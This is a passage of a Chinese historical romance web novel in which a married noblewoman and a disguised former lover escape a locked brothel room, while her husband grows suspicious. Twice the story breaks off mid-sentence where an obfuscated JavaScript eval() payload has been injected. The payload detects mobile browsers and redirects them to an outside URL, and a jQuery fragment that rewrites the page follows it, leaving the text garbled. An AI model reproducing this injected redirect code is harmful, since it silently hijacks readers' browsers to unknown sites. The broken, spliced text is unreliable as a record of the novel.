他脸上重新堆起浑不吝的笑容,“看来,夫人还是担心小人的。” 姚韫知没有心思同他饶舌,冷道:“宜宁公主既将你托付给我,我自然不会那么容易让驸马将你打死。今日之事算是小惩大戒,若往后你还不安分守己,我……” “夫人。”任九思出声打断她没有说完的话。 姚韫知微微眯起眼睛。 任九思目光朝左侧一瞟,没有出声。 姚韫知随着他目光的方向看过去,只瞧见了一个年轻公子的背影。 “什么意思?” 话音刚落,她脚下便一个趔趄,被任九思拉进了一间空置的雅间中。 门“嘭”地一声关上,任九思才笑着开口道:“夫人知道那是什么人吗?” 姚韫知揉着险些被他扯脱臼的肩膀,没好气道:“什么人?” “魏王世子萧谈,”任九思悠悠道,“小人与他见过几面,算是皇亲贵胄中少有说上过几句话的。若他瞧见我今日这般狼狈的模样,只怕我日后再想要去结交他,就有些困难了。” 这人话里话外,都是在谈自己如何趋炎附势,汲汲营营,竟是连一层遮羞布也不愿意要了。 顶着这样一张脸,说出这样的话,更是可恶至极。 姚韫知看也不愿意看这个人一眼,冷着脸问:“这与我有什么关系?” 任九思道:“小人记得魏王殿下家训一向严谨,从不许子弟在外喝酒狎妓。若他在这里撞见了夫人,只怕对夫人也是不好的。” 姚韫知本就对魏王这个人没什么好感,听任九思话里话外对这个人赞誉有加,没好气道:“看见了能怎么样,难道能杀了我灭口不成?” 任九思知道她在逞口舌之快,笑而不语。 姚韫知朝门口走进了几步,透过门上的镂空往外看了一眼,下头似乎是风平浪静,刚刚还对任九思喊打喊杀的驸马已然不知所踪。 她对驸马有这样的反应自然是有所预料,所以才等在这里,免得真的闹出人命。 可这一切过于顺理成章,倒让她生出了几分疑虑。 只是此处不是能够让她安心思考的地方。 适才发生的事,她得好好想一想。 姚韫知目光掠过任九思,“我先回去了。” 然而她才要推开门,便被任九思一个旋身,锁在了怀里。 姚韫知抬头瞪他,却见他比了个噤声的姿势,“嘘,有人来了。” 姚韫知身子一僵,“是驸马?” 脚步声渐渐逼近,任九思忽然抬起手,将头顶的纱帐扯落。轻飘飘的纱帐盖在两个人的头顶,透过除了彼此,眼前的一切景象都被镀上了一层淡红色的光晕。 一瞬之间,两个人都有一些恍惚。 无端的,姚韫知想起了成婚之日的红盖头。 失神的片刻功夫,门已然被打开,耳畔传来一阵爽朗的笑声。 “九思公子还真是风流,”那人走近,“前段时间才听说你与宜宁公主打得火热,怎么这么快就有了新的相好?” 任九思转了个身,让姚韫知背对那人,自个冲着他谄媚笑道:“世子爷方才不也有佳人在怀吗?怎么得空跑到这里来?” 魏王世子笑道:“九思公子闹出这么大的动静,想不让人知道都难。方才青湄同我说起,九思公子被驸马举着刀追了一路,我还以为公子已经成了一只落水狗。却不想,公子竟还是这般从容潇洒,当真算得上是牡丹花下死,做鬼也风流。” 他笑着往前走了几步,眼中带着几分好奇,“我倒要看看这究竟是何等绝代佳人,能让九思公子冒着得罪宜宁公主的风险,与她在此偷欢。” 14. 坠花楼 说话间,魏王世子已经迈步走到任九思面前。 任九思揽着姚韫知后退了几步,赔笑着说道:“世子爷,我这相好脸皮薄。若真被您这样瞧了去,一时想不开,从楼上跳下去怎么办?” 魏王世子听罢,饶有兴致地挑眉,“你这么一说,倒叫我更想看看了。” 他起抬手,作势要挑开姚韫知头上的纱帘。 任九思眼疾手快地一挡,皮笑肉不笑道:“世子爷便不能卖小人一个面子吗?” 魏王世子道:“放心,这里都是我的人,不会叫你的相好跳下去的。” “世子爷,小人……” “任九思,”魏王世子不耐烦地打断,“你算是个什么东西,也敢拦着我?” 说着又朝姚韫知逼近了几步。 任九思一手仍紧紧将姚韫知扣在怀中,另一只手已然在衣袖下紧紧攥成了拳头。 就在这个紧要关口,身后忽然传来一阵急促的脚步声。 任九思抬眼望去,只见一个小厮通红着脸跑到魏王世子身旁,附在在他耳边低声说了几句什么。 魏王世子脸色陡然一沉,冷冷地瞥了任九思一眼道:“我待会儿再来同你算账!” 丢下这句狠话,他疾步走出了雅间,重重关上房门。 姚韫知终于松了一口气,一把掀开头上的纱帘,快步走到门边,伸手推门,却发现门纹丝不动。 她眉头一皱,用力地撞了几下,门依然紧闭。 任九思倚在窗旁,嘴角噙着一抹淡笑,“这门从外头锁住了。” 姚韫知又试了几下,确认推不开后,这才转过身,目光凌厉地盯向任九思,声音压得极低,“他究竟想干什么?” “夫人这都猜不到吗?” 任九思轻笑着开口,转身坐到榻上,慢条斯理地脱下靴子,一副闲适模样。他半躺下去,撑着脑袋,语调轻慢,“自然是等忙完手上的事,再来收拾咱们这对狗男女。” “任九思!”姚韫知怒火中烧,“你若是不想活了,便自己从窗户跳下去,别拉上我!” “小人知道,这张府的荣华富贵夫人还没享用够,”他顿了顿,语气陡然一转,眸中带着一抹玩世不恭的笑意,“可小人却是活够了。” 姚韫知神色一僵。 他继续道:“小人不介意拉着夫人一起跳下去。既然命里注定有这一劫,不能与夫人生同衾,若能与夫人死同穴,也好过一个人在地府孤孤单单。” 姚韫知眉目间满是厌恶,只觉得眼前这个人疯得无可救药,同他再说什么都是白费力气。她索性不理他,兀自走到窗边,推开窗向下望去。 窗外正对着鸣玉坊的后门,平日里只有送柴火和买菜的小厮娘子走动。 然而这个房间偏偏是在三楼。 姚韫知手心微微发凉。 这样的高度,若直接跳下去,不死也要摔个半残。 姚韫知皱了皱眉,回身瞥了任九思一眼,却见他阖着双眸,似乎已经开始闭目养神了。 她原本是想给任九思一个教训,却不想反被他戏弄至此,落得这般进退两难的境地。 实在是可恶至极。 姚韫知太阳穴“突突”直跳,怒火刹那间涌了上来。她三步并作两步冲到任九思的榻边,没好气地问道:“你现在打算怎么办?” 任九思看起来一点也不急,悠哉悠哉道:“自然是等有人过来,替咱们把门打开。” “然后呢?” 他没再答话,又闭上了眼,胸膛起伏平稳,像是真睡了过去。 门外传来一阵嘈杂的脚步声,忽远忽近。 也不知何时就会有人在门前停下。 姚韫知的心脏跳得飞快。 孤男寡女,共处一室,还是在鸣玉坊这样的地方。此时若真有人闯进来,那她便是跳进黄河洗不清了。 但她是绝不可能在任九思这样的小人面前露怯的。 几乎没有给自己犹豫的时间,她迅速拿起床上的一条丝绦当作攀膊垫将衣袖束住,随即捡起适才掉落在地上的纱帐,准备将它拧成一股绳。 到了这时,任九思才缓缓睁开眼,叹了口气道:“罢了,还是我来吧。” 任九思将拧好的攀绳系在窗上,用力拉扯了几下,确认了绳结牢固之后,他的目光才轻轻落在姚韫知脸上,唤道:“夫人。” 姚韫知没有接他的话。 任九思于是自己翻上窗台,又转身冲她伸出手,“我拉你上来。” 姚韫知别无选择,不情不愿地把手递了过去。 任九思微微一笑,将她带上窗台后,低声提醒:“搂住我的腰。” 姚韫知睨着他,“这就不必了吧。” 他也不去同她争辩,直接用将二人的腰缠在一起,笑道:“夫人还是抱紧我的腰比较稳妥。” 他一把拉紧绳子,两具身体瞬间严丝合缝地贴在了一起。 姚韫知不自在地扭了扭腰,想调整到一个比较舒服的位置,随即就听见任九思意味深长地说道:“夫人若要这般引诱小人,小人可是会把持不住的。” 姚韫知气结,挥手便要去扇他耳光,被任九思攥住手腕。 但他似乎也意识到刚刚手上动作太过用力,又怜惜地揉了揉她微微发红的手腕,语气柔软而温存,却让人后背涌起阵阵寒意,“小人多嘴提醒夫人一句,夫人待会儿最好还是不要乱动。若不小心一同摔下去,旁人只怕还以为夫人是与小人在这此殉情了呢。” 不等姚韫知回应,他重新搂紧了她的腰肢,纵身一跃,顺着绳子向下滑去。 饶是做好了心理准备,坠落而下的瞬间,姚韫知还是惊得死死抓住他的衣襟,几乎是本能地搂紧了他的腰。 窗外寒风猎猎,红色的绳索如飘扬的鱼尾,伴随他们的动作微微摇摆,又在他的控制下,渐渐变得平稳。 风雪停了,周遭静悄悄的。 姚韫知耳畔传来一声一声有力的心跳。 却不知是从谁的胸腔里传来的。 此刻,她悬在半空中,头脑一片混沌。鼻尖萦绕着一缕淡淡的雪松香,清冷中带着一丝沉稳,让她心头莫名一震,竟生出几分恍惚,一时间忘却了身在何处,今夕是何年。 她试图抛开那些扰乱心神的念头,却怎么也无法控制自己不去想起那个人。 尤其是此时此刻。 她仰起头,凝着眼前之人晦暗不明的双眸。 里头倒映着一道朦胧的影子。 其实,除却那些少不更事的孩提 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他的唇色极淡,轮廓分明,透着几分倨傲。不熟悉他的人,总以为他不苟言笑,浑身上下都带着生人勿近的疏离。 只有她知道,在心爱的人面前,他的话可以这样的多。 姚韫知忽然心头一热,踮起脚尖勾住了他的脖颈,吻了上去。 明明是烈日炎炎的夏日,言怀序却成了冻僵的雪人。 他们离彼此很近很近。 他身上雪松香的味道让她觉得安定。 姚韫知从回忆中收回思绪,眼眶微微有些发酸。 她不知道这究竟是一个巧合,还是他蓄意为之。 倘若他是蓄意为之,以为能借此博得她的好感,那他当真是大错特错了。 任何与言怀序相关的印记出现在他的身上,都只会让她更加厌恶他。 任九思稳稳地抓着绳索,滑到第二层楼时,他微笑着开口:“夫人,抱紧一些些,咱们很快就到了。” 姚韫知没有说话,只盯着越来越近的地面,攥着他衣服的指节因用力而微微泛白。 他没再多说什么,慢慢往下移动。 终于,两人稳稳落地,脚踩实地的一瞬间,姚韫知几乎下意识地一把推开任九思,与他拉开距离。 “任九思,”她的声音冰冷如霜,“今日之事,你最好烂在肚子里!” 任九思理了理衣袖,脸上带着一贯的懒散笑意,“夫人放心,小人从来嘴紧,不过……” 话还未说完,身后却传来一阵柴火倒地的声音。 任九思和姚韫知同时回头,正看到一名丫鬟慌张地从不远处跑了过来。她的发髻已然散乱到不成形状,几缕碎发从额前垂落,显得格外狼狈。 视线交汇时,她表情明显一震。 任九思不慌不忙抬手,示意她不要出声。 那丫鬟目光呆滞,嘴唇剧烈颤抖,几乎说不出话。 姚韫知心头一紧,眸色瞬间冷了几分。 她问那丫鬟:“你看到什么了?” 丫鬟却先看了一眼任九思,然后才摇了摇头道:“没、没什么。” 不想话音刚落,楼上便传来一道凄厉的惨叫声。 15. 罗裙破 那声音听得人不寒而栗,汗毛倒竖。 姚韫知下意识向上看去,可很快又低下了头。 此地实在不宜久留。 她加快脚步,准备朝院门的方向走去。可没走几步,脚下却被什么东西绊了一下。适才跳窗的时候太过匆忙,不曾留意左右,到这时才发现身上穿的百褶裙竟被窗户上的钉子从中间割破,最外层的鸳鸯绣纹一分为二。 任九思已然跟了上来。见她这般窘迫,倒也只是不带恶意地笑了笑。他弯下腰,未开口询问,便“哗啦”一声将拖在地下的一截布料撕了下来。 姚韫知根本来不及反应,等回过神来,将任九思推开的时候,裙摆已经破损得十分明显了。 她脸色发青,“你这是做什么?” “怕你摔了。”任九思言简意赅。 方才那条裂口,稍稍遮掩一下还能勉强蒙混过关。可现在缺了这样大一块,若是张老夫人或是张允承问起来,要她如何和他们解释。 她一时半会儿怕是回不了家了。 任九思看出了她的心思,非常没有诚意地向她赔礼道歉道:“小人弄坏了夫人的衣服,自然应当赔一件新的给小人。前头正好有一家布庄,小人同夫人一起去看看?” 姚韫知没有理睬他。 她疾步在前面走着,任九思不慌不忙跟在她后面。 进到布庄里头以后,姚韫知直接开口问小二:“有没有颜色花纹和我身上穿的这件相近的成衣?” 小二低头看了一眼她百褶裙上那一只残缺不全的鸳鸯,皱了皱眉。 正好此时任九思也走了过来,她一把夺过他手中那一截布料,补充道:“就是这样的鸳鸯忍冬纹。” 小二若有所思道:“倒是有差不多的,只是不及夫人身上的这么精致。” 姚韫知顾不得这么多了,只道:“先拿来给我瞧瞧。” 不多时,小二便从库房里将一件样式相近的百褶裙取了过来。姚韫知拿起裙子,仔细打量了一番,她这边还没开口,那边任九思就已经说起了风凉话。 “张老夫人我倒是不好说,可张主簿还没有到这般老眼昏花的地步吧。” 姚韫知也知道这两条裙子差了许多,可一想到始作俑者竟然还有脸在旁边嘲讽自己,便觉得气不打一出来,冷道:“那你倒是给我找一件一模一样的出来啊。” 小二听这两个人的意思是要走,忙上前解释道:“小人瞧夫人这条百褶裙是宫里头的样式,这样精细的做工,民间的确少有。夫人即便到别家去,只怕也买不到夫人想要的,反倒白跑一趟。” 他说完又望了一眼任九思,问:“郎君觉得呢?” 似乎是在等着他拍板。 任九思知道他是误会了,故意笑着应道:“既如此,娘子,咱们就拿这件吧。” 一句“谁是你娘子”被姚韫知咬牙切齿地咽了回去。 她问小二:“这里有地方能让我更衣吗?” “有的有的,”小二连忙点头,“只是这里没有丫头服侍,可能需要劳烦一下郎君……” 任九思意味深长地看了姚韫知一眼。 姚韫知冷道:“不必,我自己可以。” 她进到里间,走到屏风后头,先将豆绿色青莲妆花缎上袄脱下,随后又去解破损的罗裙。然而她还未来得及将新裙穿上,便听得一阵脚步声由远及近,屏风上随即压过一道黑色的人影。 “夫人——” 语气还是一如既往的轻薄。 姚韫知手上动作一滞,低声斥道:“出去!” “夫人当真不需要小人帮忙吗?” 话音才落,他已经像一片云似的,飘到了她的跟前,盈盈的笑意在唇角若隐若现,桃花似的红从眼角晕染开来。 姚韫知刚刚才提起裙子,此刻见他这般不管不顾的闯进来,连忙将腰带系上。慌乱间,她非但没有将裙片拉紧,还将细带打成了一个死结。下裙松松垮垮地围在腰间,一松手就会落下去。 她没有接任九思的话,想要赶紧先将裙带解开,再重新系好。 可她的指甲偏生足足有两寸多长,越是着急,那个死结就越解不开。 一个用力,指甲险些从中间劈开。 最后她实在没有办法了,斜眼瞪着任九思,没好气道:“帮我把腰带解开。” “什么?”任九思装作没听见。 姚韫知恼怒地拔高声音,“我说,帮我把腰带解开!” 任九思闻言,嘴角微微扬起。他靠近一步,垂眸看着姚韫知,含笑道:“那小人就不客气了。” 修长的指尖落在那打成死结的细带上,动作轻而缓。指腹似有意似无意地滑过她的腰间,姚韫知身子僵硬得像一张拉满的弓,连呼吸都沉了几分。 “别乱动!”她皱眉呵斥,声音却不似刚才那般凌厉,显然是十分不自在。 “夫人怕痒?”任九思抬眸,目光落在她略显慌乱的脸上,眼神变得更深了几分,“夫人别急,这结打得太紧,小人得多费些功夫。” 他的动作依旧不紧不慢,手指在腰间逗留得有些过分。玉一样冰凉的手隔着薄薄的中衣贴在她的后背,一股寒意无声地爬上了肌肤,激得她忍不住微微一颤。 她压低声音,强自镇定地催促:“好了没有?” “腰带已经解开了。”任九思笑得意味深长,指尖勾着那细细的系带,慢条斯理地说道,“小人再重新替夫人系上。” 他攥住腰带的两头,故意使坏般猛地一收,腰带瞬间勒紧,她被束得险些喘不过气来,皱着眉道:“太紧了。” 任九思笑得更深,稍稍放松了一点,又拖长了语调问:“这样呢?” “又松了。”姚韫知惜字如金。 任九思手指拉动腰带,再一次调整松紧,像在逗弄猎物般,戏谑中带着一丝若有若无的暧昧,“夫人喜欢小人这样?” 屋内光线昏暗,透进来的阳光被厚重的窗纸和挂满枝头的雪削弱得极淡。 他顿了顿,又在她耳畔低低笑着:“又或者,夫人更喜欢小人再用力一些?” “嗯?” 鼻腔中发出一声闷哼,听得人直起鸡皮疙瘩。 姚韫知如何不明白这个人怀着什么狎昵的心思。 若换了旁的妇人,听到他在此时此刻说出这样的话,恐怕早就已经羞得面红耳赤。可她才不会着了任九思的道,只若无其事地从他手中抽过衣带,系成一个双扣结。 “任九思,”她警告道,“我一会儿要直接回府,你不准跟在我后面,至少要等两个时辰以后再回去。” 任九思浅笑道:“小人遵命。” 姚韫知绕过屏风就要走,任九思又叫住她:“夫人的旧裙……小人应当如何处置?” “扔了吧。” 任九思留在后头,付完那条裙子的银钱,正准备离开。可才走了几步,想了想,又掉转头同那店小二说道:“将那条旧裙替我包起来吧。” 小二一怔,问道:“郎君需要把那条裙子留在这让师傅补一补吗?” “不用了。” 他拿起包好的衣服,正准备朝鸣玉坊的方向往回赶,肩膀却冷不防被人从身后拍了一下。 他立刻按住了腰间的匕首,眼底划过一道寒芒。 “九思,是我。” 听到熟悉的声音自身后传来,他才稍稍松了口气。 他站在原处,没有回头,“驸马。” 崔平章低声道:“这里不是说话的地方,你一会儿回一趟公主府,我与妙悟有要事与你相商。” “好。” 两人自巷道口分道扬镳。 半个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886618|158136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时辰之后,任九思出现在了公主府的后门。 玉漏将人迎了进去,温声道:“公子来得正好,公主和驸马在书房等着您呢。” 任九思迈步进到屋内,见座上的二人俱是一脸凝重,心中隐约猜到了几分。未等他们先开口,他便主动问道:“可是鸣玉坊那边出了什么事?” 宜宁公主道:“青湄没沉住气,擅自对魏王那边了动手。” 任九思回想起楼上传来的那声惨叫,脸色陡然一变,“难道是青湄……” 话说了一半,他又摇了摇头。 不对,他记得从楼上传来的分明是一个男子的声音。 应该不会是任青湄。 宜宁公主看出了任九思满脸的忧虑,叹了口气道:“青湄没事,只是她今日挑拨魏王世子同宣国公的公子岑绍争风吃醋,一时没有把握好分寸,让那魏王世子把岑绍打死了。” 听到是这么一件事,任九思脸上的波澜渐渐平息了下去,淡淡回道:“一个纨绔公子哥而已,打死便打死了。” 他又问:“这件事情牵连到青湄了吗?” 宜宁公主对这其中的内情也不是十分了解,于是望向崔平章。 崔平章解释道:“说来也巧,我的人今日原本是留在外头接应你的,可他们等了好半天都没见到你的人影,反倒撞见魏王世子满身血污,丢了魂似的往外逃。我偷偷遣了几个手下挡住他的去路,又让几个过路人去报了官。眼下人证物证俱全,是无论如何也赖不掉的。听鸣玉坊的人说,任姑娘被京兆府传去做了人证。” 他感慨一声,“任姑娘此番也终于是亲手报了杀兄之仇了。” 任九思沉默了须臾,却道:“我心中还是有些不安,总觉得此事不会那么轻易了结。可惜往后几日,我都要住在张府,没法在外头盯着,还请驸马和公主替我多多照看青湄,切莫让她受到此事的波及。” 宜宁公主点了点头,“这是应当的。” 她迟疑了一会儿,还是忍不住问道:“听平章说,是韫知对你的身份起了疑心,所以才会有今日的试探?” 任九思没有否认,自嘲道:“许是我的言行举止太不像一个面首了。” 宜宁公主无奈道:“怀序,其实若在她面前作戏对你而言实在过于辛苦,我可以找个由头再将你从张府带回来。查案的事,咱们可以再另外想别的办法。” 任九思这边还没有回话,崔平章就暴躁地接口道:“要我说,搞这么复杂做什么。” 他卷起袖管,目光落在任九思晦暗不明的脸上,直截了当地问道:“言怀序,我就问你,你到底算不算个男人?” 宜宁公主皱眉道:“你在胡说八道什么呢?” 崔平章道:“妙悟,你先别说话,让他自己说。” 他一双炯炯有神的大眼睛直直盯着任九思,语气充满了压迫感,“你既放不下姚韫知,何不直接将她抢回来?凭你这样的才识样貌,即便不再是从前的贵公子,难道还会怕比不过张允承那个草包吗?” 宜宁公主听不下去了,没好气道:“你说的倒是轻巧,不管怎么说,韫知和张允承是明媒正娶的夫妻,你准备让九思怎么抢?” “学那话本里的潘金莲,一碗毒药把张允承药死不就得了,”崔平章振振有词,“他老子造了那么多的孽,报应在他头上,也不算是冤枉。” “崔平章,你能不能不要张口闭口就是这些下三路的东西?” 眼瞧宜宁公主又动了怒,他马上乖顺地闭上嘴,而后又忍不住嘟囔道:“下三路怎么了。” “公主,驸马,”任九思望着二人,平静道,“你们的好意,我心领了。同姚韫知之间的关系,我会处理妥当,绝不会让它有碍我们所谋之事。” 他站起身,又作了一个揖,“若无别的事,小人便先回张府了。” 16. 猜忌心 姚韫知回到张府时,天色已暗,府中的灯笼一盏盏亮起,昏黄的光晕洒在青石板上,映出一道纤长单薄的身影。 她脚步轻缓,尽量不引起旁人的注意,可刚踏入前院,便见张允承正站在廊下,目光远远地落在了她的身上。 姚韫知心中一紧,面上却不动声色,缓步走上前去,问道:“天这么冷,你在外头站着做什么?” “见你出去这么久还没回来,我正打算出去寻你。” 姚韫知问:“你便这般不放心我?” 张允承自然是听出了那层质问的意思,沉默了片刻,还是温声细语地同她解释道:“这两天,外头有点不太平。” “怎么说?”姚韫知明知故问。 “宣国公家的公子岑绍在鸣玉坊轻薄一个舞姬,结果被她身边的一个小丫鬟一刀刺死了。” 姚韫知有些震惊,“死了?” “是啊,”张允承慨叹道,“听说那舞姬原本是个官家小姐,那小丫鬟是自小服侍她的。后来她家道中落,沦落到烟花之地,那小丫鬟也一直对她不离不弃。前些时日,魏王世子还张罗着要将那舞姬娶回去做侧室,那小丫鬟大约也是能一同进魏王府侍奉的。眼瞧着这苦日子就要到头了,没想到偏生在这个时候惹出了命案,真是可怜。” 姚韫知冷道:“去给魏王世子那样的人做妾,苦日子才是刚刚开始。” 她顿了顿,又道:“这世道,还真是不给好人活路。” 张允承在风口站了好半晌,现在才觉得有些冷了。他搓了搓手,口中呼出一团白气,“但不管怎么样,这样的事情总不是你我能够掺合进去的。咱们先回屋吧,外头冷。” 他握住姚韫知的手,却被她不动声色地抽开。 “我先回临风馆了。” 她提起裙摆,转身就要走。 张允承的目光无意间从她身上掠过,眉头微微一皱,语气里带着几分疑惑,“韫知,你怎么换了身衣裳?” 姚韫知早已想好了说辞,从容道:“今日出门时,不慎被树枝勾破了裙摆,便买了一件新的。” 张允承闻言,眉头并未舒展,“在哪里勾破的,怎么不回府换一件?” 姚韫知淡淡道:“倒也不是什么很远的地方,只是那裙子是母亲前些日子赏的,我想着若穿着那条破损的回来更换,她见了,只怕会多心。” 张允承点了点头,似乎是接受了这个解释,但目光依旧在她身上逡巡了片刻,仿佛在思索什么。 他忽然问:“你今日去了哪里?” “去街上逛逛,顺便买了些胭脂水粉,”姚韫知抬起手里的纸袋,“需要我打开给你看看吗?” 张允承道:“我不是这个意思。” 他又道:“你下次出门的时候,还是把云初带上吧,免得再出什么意外,没人照应。” “知道了,那我先回屋了。” 仍是极敷衍的语气。 张允承没有再出言挽留。 姚韫知离开之后,张允承在原处站了一会儿。风中还残留着一股幽微的香气,淡得像是即刻会融化的雪。 他心中的疑惑愈来愈重,陪张老夫人一起用晚饭的时候也一直是心不在焉。 “允承,你有没有在听我说话?” 张允承迟缓地抬起头,一脸懵怔。 张老夫人见他是这样的反应,又阴着脸把刚才的话重复了一遍:“我问你,你打算什么时候把那个任九思打发走?” 张允承低下头,夹了一箸葱醋鸡,放到了张老夫人碗里。 张老夫人显然是不领这份情,没好气地说道:“我听说今日他偷偷摸摸去了鸣玉坊,结果被驸马逮了个正着,差点没被一刀砍死。要不是后来出了岑绍的事,只怕这桩丑事已经闹得满城风雨了。要让旁人知道他躲在咱们张家,咱们丢得起这个人么?” 张允承扒了一口饭,含糊回道:“知道了。” 张老夫人一看到他这副窝窝囊囊的模样就来气,又问:“你知道你媳妇今日出门做什么去了吗?” 张允承道:“左不过去买了些胭脂水粉,衣裙钗环。女人家的东西,我也不太懂。” 张老夫人皮笑肉不笑道:“你倒是心宽。” 张允承被这么刺了几回,索性不吭声了。 张老夫人继续道:“我心里一直纳闷,公主家大业大,除了公主府,应当还有别的宅院,怎么偏偏要把那个任九思塞到咱们府上来?你媳妇成日同公主厮混在一起,该不会和那任九思也有什么牵扯吧?” “母亲您说什么呢!”张允承红了脸,“韫知不是那样的人!” 张老夫人冷笑一声,手中的筷子重重搁在碗边,发出清脆的响声。她抬眼看向张允承,目光如刀,声音里含着几分讥讽,“你以为我希望她是那样的人?” 张允承一愣,脸上的窘迫还未褪去,便听张老夫人接着道:“为着姚氏的事情,你我不知已经闹过多少回了。从前我还有力气同你争,如今却是看开了。你自个儿想不通,我费再多口舌也是无益。” “母亲……”张允承嗫嚅。 张老夫人打断道:“可允承,你终究还是我儿子。不管你再怎么忤逆不孝,我也不可能眼睁睁地看着你也变成一个笑话。别怪我没提醒你,那姚氏不是个省油的灯。真到了她联合外人坑害你的那一天,你再想要做些什么,恐怕就来不及了。” 张允承张了张嘴,似乎想辩解什么,可最终只是叹了口气,低声道:“母亲,您别再说了。我相信韫知,她不会做对不起我的事。” 眼看着不论自己如何好说歹说,自己这个儿子都听不进去半个字,张老夫人心中更是失望,只等着他将来碰了壁,才知道到底是谁对他最好。 她冷冷地丢下一句“你自己好好想想吧”,便站起身去了别处。 饭后,张允承独自回了卧房,坐在书案前,手中捏着一卷书,目光却久久没有落在字上。他的脑海中不断回响着张老夫人的话,心中隐隐升起一丝不安。 他轻轻叹了口气,将书卷放在桌上,目光落在窗外的夜色中。 他知道,自己与姚韫知之间始终隔着一层无形的屏障,永远无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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里头赫然放着几只小巧的香料盒子。 盒子的材质是上等的紫檀木,表面镶嵌着几片薄如蝉翼的螺钿,显然价值不菲。 张允承的心反而因此稍稍安定了一些。 这样名贵的香料,必定是宜宁公主送的。 说不准,宜宁公主也将同样的香料送给了姚韫知。 或许这一切只是巧合。 他正欲转身离开,忽然听到门外传来一阵轻微的脚步声。他心中一紧,迅速将抽屉推回原位,站直了身子。 门被遽然被推开,任九思的身影出现在门前。 他穿着一身青灰色的长袍,眉目如画,唇角噙着一丝若有若无的笑意。 见到张允承,他脸上没有半分惊异,反倒浅笑着开口问道:“张大人,这么晚了,您怎么会出现在这里?” 17. 隔墙耳 张允承猛地缩回手,抽屉"哐当"撞回原位。他踉跄着后退半步,后腰好巧不巧磕在黄花梨方几的尖角上,疼得倒抽冷气。 “张大人这是怎么了?”任九思一脸关切。 张允承强挤出笑意,摆了摆手道:“不妨事。” 他咳嗽两声,不尴不尬地解释道:“方才老夫人说府里跑丢了一只狸奴,让我帮着寻找。公子若是瞧见了,记得告知我一声。” 任九思眉梢微挑,淡笑如常,“这是自然,只是不知那狸奴长什么模样?” 张允承胡诌道:“是一只雪白的狸奴,耳尖有点灰,尾巴很长,眼睛跟琉璃珠子似的。它性子机灵,胆子却很小,稍有点动静就躲起来了。” 任九思闻言,微微抬眸,眼角依旧挂着清浅的笑,“想必大人很喜欢这只狸奴吧。” 张允承僵硬地点了点头。 任九思话里有话道:“那大人可得多留个心眼儿。要是它自己迷了路倒还好说,可若是被什么有心人故意哄了去,那可就麻烦了。” 张允承嘴唇微动,似乎还想说些什么,但话到嘴边却咽了下去,只留下一句:“公子既没看见,那就我不叨扰公子了。” 说完便转身,疾步往门外走去。他脚下不稳,衣摆被门槛绊了一下,身影略显狼狈。 他回过头,不好意思地冲任九思笑了笑,又道:“对了,任公子。我来过这里……找狸奴的事情,千万不要让夫人知道。” “小人遵命。” 任九思的目光没有在他身上停留太久。 他径直走到窗前,推开半掩的窗棂,夜风裹挟着淡淡的梅香扑面而来,目光落在远处隐约可见的临风馆,那里灯火微明。 也不知屋内的人此时此刻在做些什么。 “果真是个草包,”任九思嗤笑着低骂了一句,“姚韫知,这就是你费尽心机求来的良人吗?” - 临风馆内,烛火摇曳。窗边的青瓷瓶中插着几枝新折的梅花,幽香浮动,与案上燃着的沉香交织在一起,氤氲出一室清冷。 姚韫知坐在妆台前,手中握着一枚玉簪,簪头的蝴蝶展翅欲飞,却仿佛被她的指尖禁锢,动弹不得。 目光落在铜镜中,镜中人肤白如雪,眉黛轻蹙,带着一抹难掩的憔悴,神色亦有些恍惚。 白天在鸣玉坊看到的画面自脑海中一一转过。 适才听张允承说起那小丫鬟杀了岑绍时,她心中只是替她觉得惋惜。 可此刻细细想来,却是隐约觉察到一些不对劲的地方。 姚韫知清楚地记得,她和任九思从窗户溜走时,正巧撞见了一个小丫头,她面色苍白,眼中满是惊惧。那时,她还以为那小丫头是因为误以为自己撞破了什么奸情,所以才这般惊慌失措。 现在看来,事情却并非如此。 她更有可能是在屋内目睹了什么不该看到的东西,才会如此张皇地逃到后院。 不过,有一点她没有想明白。 她分明记得那声惨叫是在遇见小丫头之后传来的。 那岑绍究竟是什么时候被人捅死的呢? 就在这时,门外传来一阵轻微的脚步声,打断了她的思绪。 姚韫知将玉簪放回妆匣子里,略微收敛神色,转头看向门口。 云初福了福身子,低声道:“夫人,主簿在门口等着您呢。” “知道了。” 姚韫知走出房门。 冷月孤悬,飞雪漫天。 她的视线随着簌簌的雪仔落在了张允承的肩头。 张允承走近,温声唤道:“韫知。” “你怎么来了?” 他忽然没头没尾地问:“今日用的是什么香,这么好闻?” “就是平日里用的沉水香,”姚韫知皱眉,“怎么了?” “没什么。” 他沉默地看了姚韫知一会儿,见她的确没有什么要同自己解释的,抿了抿唇,又试探着问道:“今日是十五,你要宿到我房里去吗?” 白天发生的事情让姚韫知或多或少有些心虚。 她难得没有找理由推脱,颔首道:“走吧。” 张允承一怔。 姚韫知说完也觉得尴尬,又改口道:“你若不愿意,那就算了。” 张允承瞳孔渐渐亮起,几乎是毫不犹豫地弯下腰,手臂一揽,稳稳地将姚韫知横抱了起来,“谁说我不愿意了。” 姚韫知猝不及防,轻呼一声,随即攥住了他的衣襟。 张允承凝着她的眼睛,又温存地唤了一声“韫知”。 姚韫知垂下眼帘,睫毛在月光的映照下在眼底投下一片淡淡的阴影,遮住了她眸中的复杂情绪。 她的手指虚虚搭在他的肩上,动作看似亲密,却带着一丝疏离。 张允承步伐轻快,眼神里带着压抑不住的雀跃,直奔着雁声居的方向而去。 脚下的积雪被踩得咯吱作响。 两个人都没有留意到一双幽冷阴森的眼睛,正在黑暗处注视着他们。 